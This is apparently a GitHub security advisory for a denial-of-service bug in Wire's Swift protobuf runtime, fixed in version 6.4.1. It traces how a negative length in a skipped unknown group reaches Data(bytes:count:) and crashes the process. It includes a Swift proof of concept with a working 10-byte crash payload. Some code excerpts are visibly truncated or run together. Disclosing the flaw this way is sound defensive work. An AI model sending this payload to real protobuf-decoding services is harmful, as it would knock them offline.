GitHub Advisoryadvisory · SwiftURL
GHSA-86wm-r4c5-2rc9 Wire Swift runtime: negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service
HIGH
Official page ↗
- Aliases
- CVE-2026-61695
- Ecosystem
- SwiftURL
- Packages
- github.com/square/wire
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-129
- Reviewed
- 2026-09-23
Affected packages
• SwiftURL github.com/square/wire: < 6.4.1 → fixed in 6.4.1
Description
Summary
Wire's Swift runtime (`Wire` SPM/CocoaPods product, implemented by
`wire-runtime-swift`) did not reject a negative `LENGTH_DELIMITED` field length
while skipping an unknown protobuf group. A crafted 10-byte protobuf payload
could cause `ProtoReader.skipGroup()` to read a length-delimited field whose
varint decodes to a negative `Int32`. That negative value was then passed to
`ReadBuffer.readData(count:)`.
`ReadBuffer` checked only that the requested read did not go past the end of
the buffer. It did not reject negative counts. As a result, a negative count
could pass the bounds check and reach Foundation's `Data(bytes:count:)`, which
traps and aborts the process (`Signal 5` / SIGTRAP) instead of throwing Wire's
documented `ProtoDecoder.Error`.
This is the Swift sibling of the Kotlin/JVM negative-length-in-`skipGroup()`
issue fixed in `com.squareup.wire:wire-runtime` 6.3.0
(`CVE-2026-45799`, `GHSA-7xpr-hc2w-34m9`). That earlier fix added a
`length = 0 check
try unknownFieldsWriter.encode(tag: tag, value: data)
```
`ProtoReader.readData()` then forwarded the stored negative length to the
buffer:
```swift
func readData() throws -> Data {
guard case let .lengthDelimited(length) = state else {
fatalError("Decoding field as length delimited when key was not LENGTH_DELIMITED")
}
state = .tag
return try buffer.readData(count: length) // count = -128
}
```
The bounds check in
`wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` checked only
the upper bound. A negative count could pass this guard and then be handed to
Foundation:
```swift
func verifyAdditional(count: Int) throws {
guard pointer.advanced(by: count) Data {
try verifyAdditional(count: count) // negative count passes the guard
let data = Data(bytes: pointer, count: count) // Data(bytes:count:) with count = -128 traps
pointer = pointer.advanced(by: count)
return data
}
```
The normal typed length-delimited decode path is comparatively shielded by
other state transitions. The schema-agnostic unknown-group skip path was the
important path because it threaded an unvalidated signed length into
`ReadBuffer.readData(count:)`.
How Input Reaches the Sink
The reachable decoding path is:
```text
ProtoDecoder.decode(_:from:)
-> message init(from: ProtoReader)
-> ProtoReader.nextTag(token:)
-> ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:)
-> ProtoReader.readData()
-> ReadBuffer.readData(count:)
-> Data(bytes:count:)
```
When `ProtoReader.nextTag(token:)` sees an unknown field with wire type
`START_GROUP`, it calls the private `skipGroup(...)` helper. Inside that
skipped group, an inner `LENGTH_DELIMITED` field with a negative varint length
reaches `readData()`, then `ReadBuffer.readData(count:)`, then
`Data(bytes:count:)`.
The outer field number is arbitrary. The proof of concept uses field 99, but
the field does not need to exist in the target schema because unknown-field
skipping is schema-agnostic.
Proof Of Concept
The following proof of concept demonstrates the vulnerable behavior. It uses an
empty `ProtoDecodable` message that treats every field as unknown, so an
unknown `START_GROUP` field drives `ProtoReader.nextTag(token:)` into the
private `skipGroup()` implementation.
`Package.swift`:
```swift
// swift-tools-version:5.9
import PackageDescription
let package = Package(
name: "poc",
platforms: [.macOS(.v12)],
dependencies: [
.package(url: "https://github.com/square/wire.git", exact: "6.4.0")
],
targets: [
.executableTarget(
name: "poc",
dependencies: [.product(name: "Wire", package: "wire")],
path: "Sources/poc"
)
]
)
```
`Sources/poc/main.swift`:
```swift
import Foundation
import Wire
func log(_ s: String) {
FileHandle.standardError.write((s + "\n").data(using: .utf8)!)
}
// A ProtoDecodable message that treats every field as unknown. An unknown
// START_GROUP field drives ProtoReader.nextTag() into the private skipGroup().
struct EmptyMessage: ProtoDecodable {
static var protoSyntax: ProtoSyntax? { .proto2 }
init() {}
init(from reader: ProtoReader) throws {
let token = try reader.beginMessage()
while let _ = try reader.nextTag(token: token) {}
let _: UnknownFields = try reader.endMessage(token: token)
}
}
// hex 9b06 0a 80ffffff0f 9c06
// 0x9B 0x06 field 99, wire type 3 (START_GROUP)
// 0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group
// 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint decoding to signed Int32 = -128
// 0x9C 0x06 field 99, END_GROUP
let attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06])
// Negative control: same group, inner length-delimited field has valid length 0.
let benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06])
let decoder = ProtoDecoder()
log("=== NEGATIVE CONTROL (valid length 0) ===")
do {
_ = try decoder.decode(EmptyMessage.self, from: benignPayload)
log("negative-control: decoded OK, no crash …
Related
Alias · CVE (1)
- CVE-2026-61695 Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. vulnerability
Weakness · CWE (1)
- CWE-129 Improper Validation of Array Index weakness
References
- https://github.com/square/wire/security/advisories/GHSA-86wm-r4c5-2rc9 web
- https://github.com/square/wire/pull/3616 web
- https://github.com/square/wire/commit/24043b6b3a5e5974a978f2745b76d50b31407c1c web
- https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e web
- https://github.com/square/wire package
- https://github.com/square/wire/releases/tag/6.4.1 web
- https://github.com/square/wire/releases/tag/7.0.0-alpha04 web